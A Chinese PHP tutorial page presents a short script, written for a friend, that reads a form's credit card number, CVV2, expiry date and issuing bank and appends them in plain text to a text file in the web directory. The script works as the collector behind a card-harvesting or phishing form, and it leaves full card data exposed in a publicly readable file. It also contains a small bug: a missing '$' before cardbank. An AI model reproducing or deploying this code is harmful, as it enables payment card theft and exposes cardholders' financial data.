Home  >  Article  >  php教程  >  php代码收集表单内容并写入文件的代码

php代码收集表单内容并写入文件的代码

WBOY
WBOYOriginal
2016-06-06 20:39:531032browse

前两天,一朋友让我帮他写一个收集表单内容并写入文件的简单PHP代码,由于最近工作忙,也没有时间来写,今天终于抽出点时间来完成了这个任务,下面就把相关的代码开源出来,供大家参考

至于表单内容,这里就不多说了,主要是表单的action="getpost.php",也就是写getpost.php这个文件。下面就把这个文件里面的内容贴出来。
代码如下:
//定义要收集的表单内容
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//定义收集的内容格式
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//定义文件存放的位置
$compile_dir = "./txt.txt";
//下面就是写入的PHP代码了
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>

最后会在当前的目录里面创建txt.txt,并把收集到的信息都写入此文件中,效果还是很不错的。
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn